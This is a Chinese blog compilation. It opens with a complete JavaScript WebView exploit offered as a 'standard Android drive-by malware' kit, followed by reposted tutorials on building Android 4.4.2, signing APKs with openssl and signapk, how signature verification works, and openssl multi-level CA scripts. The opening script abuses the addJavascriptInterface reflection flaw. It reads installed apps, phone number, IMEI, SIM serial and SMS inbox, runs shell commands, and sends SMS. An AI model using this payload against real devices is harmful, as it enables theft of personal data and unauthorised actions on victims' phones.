Android下标准的挂马程序

过了一年多,应该可以放了,一套标准的安卓挂马代码。

链接: http://weibo.com/p/1001603724694418249344

2014年6月23日 18:36
<script>

function getContext(){

var obj, jsInterface, r;

for (var obj in window)

{

try {

if (“getClass” in window[ obj ]) {

try{

jsInterface = window[ obj ];

}catch(e){

}

}

} catch(e) {

}

}

if( !jsInterface ) return undefined;

r = function( jsInterface ){

this.jsInterface = jsInterface;

this.loadClass = function( className ){

return this.jni = this.jsInterface.getClass().getClassLoader().loadClass( className );

};

this.jni = this.loadClass( “android.webkit.JniUtil” );

var myfield = this.jni.getDeclaredField(‘sContext’);

myfield.setAccessible( true );

this.context = myfield.get( this.jni );

}

return new r( jsInterface );

}

//绑定Context

var env = getContext();

//获取安装包

pm = env.context.getPackageManager()

document.write(pm.getInstalledPackages(0))

//检查权限

var checkPermission = function( permission ){

return env.context.getPackageManager().checkPermission( permission, env.context.getPackageName() ) == 0;

};

if( checkPermission( “android.permission.READ_PHONE_STATE” ) ){

var telephonyManager = env.context.getSystemService( “phone” );

document.write( telephonyManager.getLine1Number() );

document.write(‘<br />’);

document.write( telephonyManager.getDeviceId() );

document.write(‘<br />’);

document.write( telephonyManager.getSimSerialNumber() );

document.write(‘<br />’);

}

//执行命令

var exec = function( commond ){

var runtimeClass = env.loadClass( “java.lang.Runtime” );

var runtime = runtimeClass.getMethod(“getRuntime”, {} ).invoke( null, {} );

var process = runtime.exec( commond );

var inputStream = process.getInputStream();

var contents = “”;

var b = inputStream.read();

var i = 1;

while(b != -1) {

var bString = String.fromCharCode(b);

contents += bString;

b = inputStream.read();

}

return contents;

};

document.write( exec([“sh”,”-c”,”ls -l /mnt/sdcard/”]) );

//查短信

var ub = env.loadClass( “android.net.Uri$Builder” );

//var uri = ub.newInstance().scheme( “content” ).authority( “com.android.contacts” ).path( “data” ).build();

var uri = ub.newInstance().scheme( “content” ).authority( “sms” ).path( “inbox” ).build();

var contentResolver = env.context.getContentResolver();

var cursor = contentResolver.query( uri, [], “”, [], “” );

var colcnt = cursor.getColumnCount();

while( cursor.moveToNext() ){

var t = “”;

for( var i = 0; i < colcnt; i++ ){

var s = cursor.getString( i );

if( s !== undefined ){

t += cursor.getColumnName( i ) + “:” + s + “,”+ “<br>”;

}

}

document.write( t );

}

//发短信

var target = “10086”;

var text = “Hello, message !”;

var smsManagerClass = env.loadClass( “android.telephony.SmsManager” );

var smsManager = smsManagerClass.getMethod( “getDefault”, {} ).invoke( null, {} );

smsManager.sendTextMessage( target, null, text, null, null );

</script>

下载,编译,并使用Android4.4.2源码

1. 源码下载

源码下载按照官方文档一步一步就可成功:

http://source.android.com/source/downloading.html

或者直接百度搜索: 百度云 android4.4.2源码

从百度云找到别人共享的android源码下载

或者:按照这个网址上的方法下载源码:http://blog.csdn.net/zbunix/article/details/8460422

 

2. 源码编译:

(1). 解压android源码之后,假设在/android_src/目录,代码的绝对路径为/android_src/android

(2). 在/android_src/android执行: source build/envsetup.sh

(3). 执行命令: choosecombo

然后选择一种编译模式(例如release, generic,eng)

(4). 执行命令: make

[注意, 推荐使用的编译环境为: linux 64位环境]

然后等待编译完成即可

3.使用编译完成的android系统启动模拟器:

在编译完成之后会在/android_src/android/out/debug(这里可能是release等,根据选择的编译模式不同)/target/product/generic目录下,有三个img文件,分别为: system.img, userdata.img, ramdisk.img.

首先执行命令: sudo chmod 777 *.img

然后执行命令: emulator -image system.img -data userdata.img -ramdisk ramdisk.img

启动模拟器,结束

 

 

手动给android APK签名

一、下载openssl-for-windows
例如下载:
下载完毕后直接解压缩,cmd命令进入bin目录下:
openssl genrsa -3 -out testkey.pem 2048
成功生成:testkey.pem  [– 包含私钥的pem文件]
openssl req -new -x509 -key testkey.pem -out testkey.x509.pem -days 10000
[包含公钥的x509 pem文件]
输出错误信息:
Unable to load config info from c:/openssl/ssl/openssl.cnf
只要把openssl目录下的openssl.cnf文件复制到c:/openssl/ssl/目录下即可(目录不存在则手动创建之)。
然后再次输入上述命令后输出:
Loading ‘screen’ into random state – done
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ‘.’, the field will be left blank.
—–
Country Name (2 letter code) [AU]:cn
State or Province Name (full name) [Some-State]:zhejiang
Locality Name (eg, city) []:hangzhou
Organization Name (eg, company) [Internet Widgits Pty Ltd]:sing
Organizational Unit Name (eg, section) []:sing
Common Name (eg, YOUR name) []:netease
Email Address []:test@163.com
成功生成:testkey.x509.pem
openssl pkcs8 -in testkey.pem -topk8 -outform DER -out testkey.pk8 -nocrypt

成功生成:testkey.pk8 [将私钥pem转为pk8格式]

二、签名
 
signapk.jar testkey.x509.pem  testkey.pk8 HelloJni_test.apk HelloJni_test_signed.apk
 [使用公私钥对apk进行签名]
三、创建批处理命令对APK文件自动化签名
四、验证
import sun.security.pkcs.PKCS7;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;

public class Test {
     public static void main(String[] args) throws CertificateException, IOException {
             if(args.length < 1){
                 System.out.println("Error arguments");
                 System.exit(-1);
             }
            FileInputStream fis = new FileInputStream(args[0]);
            PKCS7 pkcs7 = new PKCS7(fis);
            X509Certificate publicKey = pkcs7.getCertificates()[0];

            System.out.println("issuer1:" + publicKey.getIssuerDN());
            System.out.println("subject2:" + publicKey.getSubjectDN());
            System.out.println(publicKey.getPublicKey());
        }
}

输出:

issuer1:EMAILADDRESS=test@163.com, CN=netease, OU=sing, O=sing, L=hangzhou, ST=zhejiang, C=cn
subject2:EMAILADDRESS=test@163.com, CN=netease, OU=sing, O=sing, L=hangzhou, ST=zhejiang, C=cn
Sun RSA public key, 2048 bits
  modulus: 22676173355286459097573334286481325549679742508291213299264044486977814024339605340628711274677072768829606315047576874911034554527084043177679494350712443522287175454777833436168772665418404933643096476891010605269397100182350607109602567424649311950932263840379746712271144600813750815453035262110486680532806609381313030573833526182249935950105614529180848998274172532233764292631298041869124308804566439799309159573665297279480681980653336799995434022140192702337503587221467398087020249337183520598982287860366619939017957775007220964826029614540987113512464831360539897307371766206991936881303261221737921332207
  public exponent: 3
注意:
如果代码出现找不到sun.security.pkcs.PKCS7时,解决方法是:右键工程-Build Path-Config Build Path
点Edit:
点Add,选择Accessible,添加规则:**

How does Android’s app/signature verification work?

from : http://stackoverflow.com/questions/10938298/how-does-androids-app-signature-verification-work/10942302#comment18434028_10942302

I want to preface this question with two things so I can narrow down where my actual question is:

a) I’ve done software dev before, though never for android

b) I’m familiar with PKI and encryptions and hashing and digital signatures and blah blah blah

That being said I’m having trouble tracking down more information about where and how Android verifies app creators. I’ve heard a lot of different information so I’m trying to synthesize to get a better idea of the workflow.

I know that every app developer gets their own private/public key pair and they sign their apps by hashing the APK (with SHA-1 most of the time if I’m not mistaken) and there you go. You upload it and (I believe) the public key goes in META INF inside the APK. This much I understand.

My question is how this relates to when a user downloads the app itself. I know the phone checks to make sure that the app is validly signed, and that the signature also has information about author and etc included. But I’ve also read that apps are self signed and that Google Play (or whatever they’re calling the Market now) doesn’t implement a CA, and that there’s no identity authentication? But my question is what, then, stops people from uploading an app under another developers name (crowdsourcing aside)?

If the phone only checks for valid signatures does that imply that the only means of authentication is done when the app is uploaded? And if that’s the case how does the app market check it? Is it the usual – use the private key on file and verify the signature? Or does the developer have to provide the market with their private key to authenticate?

asked Jun 7 ’12 at 19:08
Fewmitz
17518
When you sign the apk you have to provide the private password. So in order for someone to post an app “as someone else” They would need access to their keystore / key files and passwords. And access to the Google Account that is linked to the market. –  FoamyGuy Jun 7 ’12 at 19:17
@Tim: I think he is asking: What is to prevent someone else from creating their own keypair and a self-signed certificate that also says “Fewmitz” in it. Is it somehow linked to an account somewhere? –  GregS Jun 7 ’12 at 22:36

add comment

In short, Android and Google Play essentially don’t care about what’s in actual certificate. Google Play will validate it indeed, and check if it is valid for 30 years or more, but they don’t really use (at least currently, AFAIK) the actual info in the cert. You could use your own name/company name in the CN, but no one will validate this, and users won’t see this info at all. What Android does is:

  • check the signature to make sure the APK hasn’t been tampered with
  • then compare the singing certificate as a binary blob to the one of the currently installed version of the app to make sure that the two versions have been signed with the same key/certificate (e.g., by the same person/company)
  • it does the same thing to enforce permission if you are using using sharedUid or signature permissions with two or more apps.

So, to answer your question, someone can easily create a certificate with your name on it, but Android and Google Play don’t really care. As long as they don’t have your private key, they won’t be able produce an app signature that is the same as yours and thus they wouldn’t be able to overwrite/update your app with theirs, or get any special permissions.

answered Jun 8 ’12 at 2:19
Nikolay Elenkov
30.8k33046
So, does that mean that if use two certificates with the same public-private key pair but different subject names, they both would be valid? Basically when I sign my app with my private key, are my details like subject name etc taken into account anywhere? –  Ashwin Nov 20 ’12 at 13:55
It doesn’t care about the actual ‘details’ (certificate DN, serial number, etc.), but just compares the certificates as binary blobs. Since they are different, you can’t update an app originally signed with cert1 with another signed with cert2. –  Nikolay Elenkov Nov 20 ’12 at 14:04
By saying “It doesn’t care about the actual ‘details’ (certificate DN, serial number, etc.),” do you mean that those details are never used? Because ultimately as you yourself told “compares the certificates as binary blobs” – that means it takes the certificate details into account. –  Ashwin Nov 20 ’12 at 14:07
Of course it means no such thing. Think memcmp() or Arrays.equals(). Do those take certificate details into account? –  Nikolay Elenkov Nov 20 ’12 at 14:11
yeah ok. So the certificates are compared, but the details are never used(other than for comparison) right? Thanks:) –  Ashwin Nov 20 ’12 at 14:30

show 2 more comments

Android APK的数字签名的作用和意义

1. 什么是数字签名?
 
数字签名就是为你的程序打上一种标记,来作为你自己的标识,当别人看到签名的时候会知道它是与你相关的
2. 为什么要数字签名?
 最简单直接的回答: 系统要求的。
 Android系统要求每一个Android应用程序必须要经过数字签名才能够安装到系统中,也就是说如果一个Android应用程序没有经过数字签名,是没有办法安装到系统中的!
 Android通过数字签名来标识应用程序的作者和在应用程序之间建立信任关系,不是用来决定最终用户可以安装哪些应用程序。
 这个数字签名由应用程序的作者完成,并不需要权威的数字证书签名机构认证,它只是用来让应用程序包自我认证的。 
3. 数字证书的机制?
Android使用Java的数字证书相关的机制来给apk加盖数字证书,要理解android的数字证书,需要先了解以下数字证书的概念和java的数字证书机制。
4. 程序使用相同的数字证书的好处
(1)有利于程序升级
当新版程序和旧版程序的数字证书相同时,Android系统才会认为这两个程序是同一个程序的不同版本。如果新版程序和旧版程序的数字证书不相同,则Android系统认为他们是不同的程序,并产生冲突,会要求新程序更改包名。
(2)有利于程序的模块化设计和开发。
Android系统允许拥有同一个数字签名的程序运行在一个进程中,Android程序会将他们视为同一个程序。所以开发者可以将自己的程序分模块开发,而用户只需要在需要的时候下载适当的模块。
(3)可以通过权限(permission)的方式在多个程序间共享数据和代码。
Android提供了基于数字证书的权限赋予机制,应用程序可以和其他的程序共享概功能或者数据给那那些与自己拥有相同数字证书的程序。如果某个权限(permission)的protectionLevel是signature,则这个权限就只
能授予那些跟该权限所在的包拥有同一个数字证书的程序。

5. 在签名时,需要考虑数字证书的有效期

(1)数字证书的有效期要包含程序的预计生命周期,一旦数字证书失效,持有改数字证书的程序将不能正常升级。

(2)如果多个程序使用同一个数字证书,则该数字证书的有效期要包含所有程序的预计生命周期。

(3)Android Market强制要求所有应用程序数字证书的有效期要持续到2033年10月22日以后。
6. 数字证书的要点:

Android数字证书包含以下几个要点:

             (1)所有的应用程序都必须有数字证书,Android系统不会安装一个没有数字证书的应用程序

             (2)Android程序包使用的数字证书可以是自签名的,不需要一个权威的数字证书机构签名认证

             (3)如果要正式发布一个Android ,必须使用一个合适的私钥生成的数字证书来给程序签名,而不能使用adt插件或者ant工具生成的调试证书来发布。

             (4)数字证书都是有有效期的,Android只是在应用程序安装的时候才会检查证书的有效期。如果程序已经安装在系统中,即使证书过期也不会影响程序的正常功能。

             (5)Android使用标准的java工具 Keytool and Jarsigner 来生成数字证书,并给应用程序包签名。

              6)使用zipalign优化程序。
数字签名的两种模式
我们都知道Android系统不会安装运行任何一款未经数字签名的apk程序,无论是在模拟器上还是在实际的物理设备上。所以我们会有一个疑问,为何在日常开发过程中我没有进行任何签名的操作,程序都会在模拟器和真机上运行?下面我们来讲讲
APK程序的两种模式: 调试模式(debug mode)和发布模式(release mode)

1. 调试模式(debug mode)  : 在调试模式下, ADT会自动的使用debug密钥为应用程序签名,因此我们可以直接运行程序。

debug密钥:   一个名为debug.keystore的文件
存放位置 :     C:\Users\Xiaopeng\.android\debug.keystore        Xiaopeng对应替换为自己操作系统的用户名
两个风险:
      debug签名的应用程序有这样两个风险:
     1)debug签名的应用程序不能在Android Market上架销售,它会强制你使用自己的签名;
     2)debug.keystore在不同的机器上所生成的可能都不一样,就意味着如果你换了机器进行apk版本升级,那么将会出现上面那种程序不能覆盖安装的问题。
          不要小视这个问题,如果你开发的程序只有你自己使用,当然无所谓,卸载再安装就可以了。但要是你的软件有很多使用客户,这就是大问题了,就相当于软件不具备升级功能! 
所以一定要有自己的数字证书来签名;
2. 发布模式(release mode) : 当要发布程序时,开发者就需要使用自己的数字证书给apk包签名
 
使用自己的数字证书给APK签名的两种方法:
 

(1)通过DOS命令来对APK签名。

(2)使用ADT Export Wizard进行签名
转载请注明来源: 毕小朋 — http://blog.csdn.net/wirelessqa

Android中的签名机制

转载时请注明出处和作者联系方式
文章出处:http://www.limodev.cn/blog
作者联系方式:李先静 <xianjimli at hotmail dot com>

昨天看了一下Android中的签名机制,这里介绍一下Android中签名用的Key的产生方法和签名的原理。

产生Key

o 产生RSA私钥(private key)
openssl genrsa -3 -out testkey.pem 2048

-3 是算法的参数(public exponent)。
2048 是私钥长度。
testkey.pem 是输出的文件。

o 产生PKCS#10格式的认证请求。所谓认证请求就是发给认证机构认证的一个请求,它主要包括一个公钥和一些相关信息(如组织名称和联系人邮件地址)。
openssl req -new -x509 -key testkey.pem -out testkey.x509.pem -days 10000 /
-subj ‘/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/emailAddress=android@android.com’

如果不提供最后两个参数,openssl会提示你输入相关信息,这里的信息可以根据你自己的实际情况填写。如:

openssl req -new -x509 -key testkey.pem -out testkey.x509.pem -days 10000

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter ‘.’, the field will be left blank.
—–
Country Name (2 letter code) [GB]:CN
State or Province Name (full name) [Berkshire]:GuangDong
Locality Name (eg, city) [Newbury]:ShenZhen
Organization Name (eg, company) [My Company Ltd]:Topwise
Organizational Unit Name (eg, section) []:Broncho
Common Name (eg, your name or your server’s hostname) []:broncho.cn
Email Address []:bronchosales@gmail.com

o 把私钥的格式转换成PKCS #8(Private-Key Information Syntax Standard.)

openssl pkcs8 -in testkey.pem -topk8 -outform DER -out testkey.pk8 -nocrypt

私钥是不能让别人知道的,否则就起不到保密的作用了。私钥通常是要加密保存的,但这里指定了-nocryp,表示不加密。

Android提供了一个脚本mkkey.sh用来简化上面的步骤:

if [“$1” == “”]; then
echo “Create a test certificate key.”
echo “Usage: $0 NAME”
echo “Will generate NAME.pk8 and NAME.x509.pem”
echo ”  /C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/emailAddress=android@android.com”
return
fi

openssl genrsa -3 -out $1.pem 2048

openssl req -new -x509 -key $1.pem -out $1.x509.pem -days 10000 /
-subj ‘/C=US/ST=California/L=Mountain View/O=Android/OU=Android/CN=Android/emailAddress=android@android.com’

openssl pkcs8 -in $1.pem -topk8 -outform DER -out $1.pk8 -nocrypt

签名

Android提供了为jar/zip文件签名的程序signapk.jar 。

它的用法如下:
Usage: signapk publickey.x509[.pem] privatekey.pk8 input.jar output.jar

第一个参数是公钥,即前面第二步产生的testkey.x509.pem。
第二个参数是私钥,即前面第三步产生的testkey.pk8。
第三个参数是要签名的文件。
第四个参数是输出的文件(即签名后的文件)。

如:java -jar signapk.jar testkey.x509.pem testkey.pk8 update.zip update-signed.zip

现在我们来看看签名到底做了些什么:

o 先为输入的jar/zip文件中的所有文件生成SHA1数字签名(除了CERT.RSA,CERT.SF和MANIFEST.MF)

for (JarEntry entry: byName.values()) {
String name = entry.getName();
if (!entry.isDirectory() &amp;&amp; !name.equals(JarFile.MANIFEST_NAME) &amp;&amp;
!name.equals(CERT_SF_NAME) &amp;&amp; !name.equals(CERT_RSA_NAME) &amp;&amp;
(stripPattern == null ||
!stripPattern.matcher(name).matches())) {
InputStream data = jar.getInputStream(entry);
while ((num = data.read(buffer)) &gt; 0) {
md.update(buffer, 0, num);
}

Attributes attr = null;
if (input != null) attr = input.getAttributes(name);
attr = attr != null ? new Attributes(attr) : new Attributes();
attr.putValue(“SHA1-Digest”, base64.encode(md.digest()));
output.getEntries().put(name, attr);
}
}

并把数字签名信息写入MANIFEST.MF

je = new JarEntry(JarFile.MANIFEST_NAME);
je.setTime(timestamp);
outputJar.putNextEntry(je);
manifest.write(outputJar);

o 对manifest签名并写入CERT.SF

// CERT.SF
Signature signature = Signature.getInstance(“SHA1withRSA”);
signature.initSign(privateKey);
je = new JarEntry(CERT_SF_NAME);
je.setTime(timestamp);
outputJar.putNextEntry(je);
writeSignatureFile(manifest,
new SignatureOutputStream(outputJar, signature));

o 把对输出文件的签名和公钥写入CERT.RSA。

// CERT.RSA
je = new JarEntry(CERT_RSA_NAME);
je.setTime(timestamp);
outputJar.putNextEntry(je);
writeSignatureBlock(signature, publicKey, outputJar);

签名的作用

签名的主要目的为了检测文件是否被别人修改了。但它并不能禁止别人修改,因为你完全重新生成签名,但是你生成的签名和原来是不一样的。

Android APK 签名比对

转载请注明出处:http://www.blogjava.net/zh-weir/archive/2011/07/19/354663.html

Android APK 签名比对

发布过Android应用的朋友们应该都知道,Android APK的发布是需要签名的。签名机制在Android应用和框架中有着十分重要的作用。

例如,Android系统禁止更新安装签名不一致的APK;如果应用需要使用system权限,必须保证APK签名与Framework签名一致,等等。在《APK Crack》一文中,我们了解到,要破解一个APK,必然需要重新对APK进行签名。而这个签名,一般情况无法再与APK原先的签名保持一致。(除非APK原作者的私钥泄漏,那已经是另一个层次的软件安全问题了。)

简单地说,签名机制标明了APK的发行机构。因此,站在软件安全的角度,我们就可以通过比对APK的签名情况,判断此APK是否由“官方”发行,而不是被破解篡改过重新签名打包的“盗版软件”。

Android签名机制

为了说明APK签名比对对软件安全的有效性,我们有必要了解一下Android APK的签名机制。为了更易于大家理解,我们从Auto-Sign工具的一条批处理命令说起。

《APK Crack》一文中,我们了解到,要签名一个没有签名过的APK,可以使用一个叫作Auto-sign的工具。Auto-sign工具实际运行的是一个叫做Sign.bat的批处理命令。用文本编辑器打开这个批处理文件,我们可以发现,实现签名功能的命令主要是这一行命令:

 

    java -jar signapk.jar testkey.x509.pem testkey.pk8 update.apk update_signed.apk

这条命令的意义是:通过signapk.jar这个可执行jar包,以“testkey.x509.pem”这个公钥文件和“testkey.pk8”这个私钥文件对“update.apk”进行签名,签名后的文件保存为“update_signed.apk”。    对于此处所使用的私钥和公钥的生成方式,这里就不做进一步介绍了。这方面的资料大家可以找到很多。我们这里要讲的是signapk.jar到底做了什么。

signapk.jar是Android源码包中的一个签名工具。由于Android是个开源项目,所以,很高兴地,我们可以直接找到signapk.jar的源码!路径为/build/tools/signapk/SignApk.java。

对比一个没有签名的APK和一个签名好的APK,我们会发现,签名好的APK包中多了一个叫做META-INF的文件夹。里面有三个文件,分别名为MANIFEST.MF、CERT.SF和CERT.RSA。signapk.jar就是生成了这几个文件(其他文件没有任何改变。因此我们可以很容易去掉原有签名信息)。

通过阅读signapk源码,我们可以理清签名APK包的整个过程。
1、 生成MANIFEST.MF文件:

程序遍历update.apk包中的所有文件(entry),对非文件夹非签名文件的文件,逐个生成SHA1的数字签名信息,再用Base64进行编码。具体代码见这个方法:

 

    private static Manifest addDigestsToManifest(JarFile jar)

关键代码如下:

 1     for (JarEntry entry: byName.values()) {
2         String name = entry.getName();
3         if (!entry.isDirectory() && !name.equals(JarFile.MANIFEST_NAME) &&
4             !name.equals(CERT_SF_NAME) && !name.equals(CERT_RSA_NAME) &&
5                (stripPattern == null ||!stripPattern.matcher(name).matches())) {
6                 InputStream data = jar.getInputStream(entry);
7                 while ((num = data.read(buffer)) > 0) {
8                     md.update(buffer, 0, num);
9                 }
10                 Attributes attr = null;
11                 if (input != null) attr = input.getAttributes(name);
12                 attr = attr != null ? new Attributes(attr) : new Attributes();
13                 attr.putValue(“SHA1-Digest”, base64.encode(md.digest()));
14                 output.getEntries().put(name, attr);
15           }
16     }

之后将生成的签名写入MANIFEST.MF文件。关键代码如下:

 

1     Manifest manifest = addDigestsToManifest(inputJar);
2     je = new JarEntry(JarFile.MANIFEST_NAME);
3     je.setTime(timestamp);
4     outputJar.putNextEntry(je);
5     manifest.write(outputJar);

这里简单介绍下SHA1数字签名。简单地说,它就是一种安全哈希算法,类似于MD5算法。它把任意长度的输入,通过散列算法变成固定长度的输出(这里我们称作“摘要信息”)。你不能仅通过这个摘要信息复原原来的信息。另外,它保证不同信息的摘要信息彼此不同。因此,如果你改变了apk包中的文件,那么在apk安装校验时,改变后的文件摘要信息与MANIFEST.MF的检验信息不同,于是程序就不能成功安装。
2、 生成CERT.SF文件:

对前一步生成的Manifest,使用SHA1-RSA算法,用私钥进行签名。关键代码如下:

1     Signature signature = Signature.getInstance(“SHA1withRSA”);
2     signature.initSign(privateKey);
3     je = new JarEntry(CERT_SF_NAME);
4     je.setTime(timestamp);
5     outputJar.putNextEntry(je);
6     writeSignatureFile(manifest,
7     new SignatureOutputStream(outputJar, signature));

RSA是一种非对称加密算法。用私钥通过RSA算法对摘要信息进行加密。在安装时只能使用公钥才能解密它。解密之后,将它与未加密的摘要信息进行对比,如果相符,则表明内容没有被异常修改。
3、 生成CERT.RSA文件:

生成MANIFEST.MF没有使用密钥信息,生成CERT.SF文件使用了私钥文件。那么我们可以很容易猜测到,CERT.RSA文件的生成肯定和公钥相关。

CERT.RSA文件中保存了公钥、所采用的加密算法等信息。核心代码如下:

 

1     je = new JarEntry(CERT_RSA_NAME);
2     je.setTime(timestamp);
3     outputJar.putNextEntry(je);
4     writeSignatureBlock(signature, publicKey, outputJar);

其中writeSignatureBlock的代码如下:

 

 1     private static void writeSignatureBlock(
2         Signature signature, X509Certificate publicKey, OutputStream out)
3             throws IOException, GeneralSecurityException {
4                 SignerInfo signerInfo = new SignerInfo(
5                 new X500Name(publicKey.getIssuerX500Principal().getName()),
6                 publicKey.getSerialNumber(),
7                 AlgorithmId.get(“SHA1”),
8                 AlgorithmId.get(“RSA”),
9                 signature.sign());
10
11         PKCS7 pkcs7 = new PKCS7(
12             new AlgorithmId[] { AlgorithmId.get(“SHA1”) },
13             new ContentInfo(ContentInfo.DATA_OID, null),
14             new X509Certificate[] { publicKey },
15             new SignerInfo[] { signerInfo });
16
17         pkcs7.encodeSignedData(out);
18     }

好了,分析完APK包的签名流程,我们可以清楚地意识到:

1、 Android签名机制其实是对APK包完整性和发布机构唯一性的一种校验机制。

2、 Android签名机制不能阻止APK包被修改,但修改后的再签名无法与原先的签名保持一致。(拥有私钥的情况除外)。

3、 APK包加密的公钥就打包在APK包内,且不同的私钥对应不同的公钥。换句话言之,不同的私钥签名的APK公钥也必不相同。所以我们可以根据公钥的对比,来判断私钥是否一致。

APK签名比对的实现方式

好了,通过Android签名机制的分析,我们从理论上证明了通过APK公钥的比对能判断一个APK的发布机构。并且这个发布机构是很难伪装的,我们暂时可以认为是不可伪装的。

有了理论基础后,我们就可以开始实践了。那么如何获取到APK文件的公钥信息呢?因为Android系统安装程序肯定会获取APK信息进行比对,所以我们可以通过Android源码获得一些思路和帮助。

源码中有一个隐藏的类用于APK包的解析。这个类叫PackageParser,路径为frameworks\base\core\java\android\content\pm\PackageParser.java。当我们需要获取APK包的相关信息时,可以直接使用这个类,下面代码就是一个例子函数:

 

 1     private PackageInfo parsePackage(String archiveFilePath, int flags){
2
3         PackageParser packageParser = new PackageParser(archiveFilePath);
4         DisplayMetrics metrics = new DisplayMetrics();
5         metrics.setToDefaults();
6         final File sourceFile = new File(archiveFilePath);
7         PackageParser.Package pkg = packageParser.parsePackage(
8                 sourceFile, archiveFilePath, metrics, 0);
9         if (pkg == null) {
10             return null;
11         }
12
13         packageParser.collectCertificates(pkg, 0);
14
15         return PackageParser.generatePackageInfo(pkg, null, flags, 0, 0);
16     }

其中参数archiveFilePath指定APK文件路径;flags需设置PackageManager.GET_SIGNATURES位,以保证返回证书签名信息。

具体如何通过PackageParser获取签名信息在此处不做详述,具体代码请参考PackageParser中的public boolean collectCertificates(Package pkg, int flags)和private Certificate[] loadCertificates(JarFile jarFile, JarEntry je, byte[] readBuffer)方法。至于如何在Android应用开发中使用隐藏的类及方法,可以参看我的这篇文章:《Android应用开发中如何使用隐藏API》

紧接着,我们就可以通过packageInfo.signatures来访问到APK的签名信息。还需要说明的是 Android中Signature和Java中Certificate的对应关系。它们的关系如下面代码所示:

 

1     pkg.mSignatures = new Signature[certs.length];
2     for (int i=0; i<N; i++) {
3         pkg.mSignatures[i] = new Signature(
4         certs[i].getEncoded());
5     }

也就是说signature = new Signature(certificate.getEncoded()); certificate证书中包含了公钥和证书的其他基本信息。公钥不同,证书肯定互不相同。我们可以通过certificate的getPublicKey方法获取公钥信息。所以比对签名证书本质上就是比对公钥信息。

OK,获取到APK签名证书之后,就剩下比对了。这个简单,功能函数如下所示:

 1     private boolean IsSignaturesSame(Signature[] s1, Signature[] s2) {
2             if (s1 == null) {
3                 return false;
4             }
5             if (s2 == null) {
6                 return false;
7             }
8             HashSet<Signature> set1 = new HashSet<Signature>();
9             for (Signature sig : s1) {
10                 set1.add(sig);
11             }
12             HashSet<Signature> set2 = new HashSet<Signature>();
13             for (Signature sig : s2) {
14                 set2.add(sig);
15             }
16             // Make sure s2 contains all signatures in s1.
17             if (set1.equals(set2)) {
18                 return true;
19             }
20             return false;
21         }

APK签名比对的应用场景

经过以上的论述,想必大家已经明白签名比对的原理和我的实现方式了。那么什么时候什么情况适合使用签名对比来保障Android APK的软件安全呢?

个人认为主要有以下三种场景:

1、 程序自检测。在程序运行时,自我进行签名比对。比对样本可以存放在APK包内,也可存放于云端。缺点是程序被破解时,自检测功能同样可能遭到破坏,使其失效。

2、 可信赖的第三方检测。由可信赖的第三方程序负责APK的软件安全问题。对比样本由第三方收集,放在云端。这种方式适用于杀毒安全软件或者APP Market之类的软件下载市场。缺点是需要联网检测,在无网络情况下无法实现功能。(不可能把大量的签名数据放在移动设备本地)。

3、 系统限定安装。这就涉及到改Android系统了。限定仅能安装某些证书的APK。软件发布商需要向系统发布上申请证书。如果发现问题,能追踪到是哪个软件发布商的责任。适用于系统提供商或者终端产品生产商。缺点是过于封闭,不利于系统的开放性。

以上三种场景,虽然各有缺点,但缺点并不是不能克服的。例如,我们可以考虑程序自检测的功能用native method的方法实现等等。软件安全是一个复杂的课题,往往需要多种技术联合使用,才能更好的保障软件不被恶意破坏。

 

参考资料

Android源码

《Android中的签名机制》

 

 
转载请注明出处:http://www.blogjava.net/zh-weir/archive/2011/07/19/354663.html

openssl建立多级CA签发证书

平时我们自己签发CA证书再签发服务器证书的场景其实都非常简单。浏览器把自签CA导入后,就可以信任由这个CA直接签发的服务器证书。

但是实际上网站使用的证书肯定都不是由根CA直接签发的,比如

淘宝登陆服务器使用的证书。

我之前是自己写了脚本由自签CA直接签发服务器证书,为了真清楚的理解一下证书链的作用就直接使用openssl先签发2层的子CA,再由子CA去签发服务器证书。
手动签发证书的脚本如下:
生成自签CA

点击(此处)折叠或打开

  1. # cat makerootca.sh
  2. #!/bin/bash
  3. DIR=/root/ssl.test2
  4. mkdir -p $DIR/demoCA/{private,newcerts}
  5. touch $DIR/demoCA/index.txt
  6. echo 01 > $DIR/demoCA/serial
  7. openssl genrsa -des3 -out $DIR/demoCA/private/cakey.pem 2048
  8. openssl req -new -x509 -days 3650 -key $DIR/demoCA/private/cakey.pem -out $DIR/demoCA/careq.pem

签发二级CA的脚本

点击(此处)折叠或打开

  1. # cat no2domain.sh
  2. #!/bin/bash
  3. NAME=$1
  4. DIR=$(pwd)/autoget
  5. openssl genrsa -des3 -out $DIR/$NAME.key 2048
  6. openssl rsa -in $DIR/$NAME.key -out $DIR/$NAME.key
  7. openssl req -new -days 3650 -key $DIR/$NAME.key -out $DIR/$NAME.csr
  8. openssl ca -extensions v3_ca -in $DIR/$NAME.csr -config ./openssl.cnf -days 3000 -out $DIR/$NAME.crt -cert $DIR/../demoCA/careq.pem -keyfile $DIR/../demoCA/private/cakey.pem

 

sh no2domain.sh  no2

签发三级CA的脚本

点击(此处)折叠或打开

  1. # cat no3domain.sh
  2. #!/bin/bash
  3. [ $# -ne 1 ] && echo “$0 NAME” && exit
  4. NAME=$1
  5. DIR=$(pwd)/autoget
  6. openssl genrsa -des3 -out $DIR/$NAME.key 2048
  7. openssl rsa -in $DIR/$NAME.key -out $DIR/$NAME.key
  8. openssl req -new -days 3650 -key $DIR/$NAME.key -out $DIR/$NAME.csr
  9. openssl ca -in $DIR/$NAME.csr -extensions v3_ca -config ./openssl.cnf -days 3000 -out $DIR/$NAME.crt -cert $DIR/no2.crt -keyfile $DIR/no2.key

   sh no3domain.sh  no3

由三级CA签发服务器证书的脚本

点击(此处)折叠或打开

  1. # cat no4domain.sh
  2. #!/bin/bash
  3. [ $# -ne 1 ] && echo “$0 NAME” && exit
  4. NAME=$1
  5. DIR=$(pwd)/autoget
  6. openssl genrsa -des3 -out $DIR/$NAME.key 2048
  7. openssl rsa -in $DIR/$NAME.key -out $DIR/$NAME.key
  8. openssl req -new -days 3650 -key $DIR/$NAME.key -out $DIR/$NAME.csr
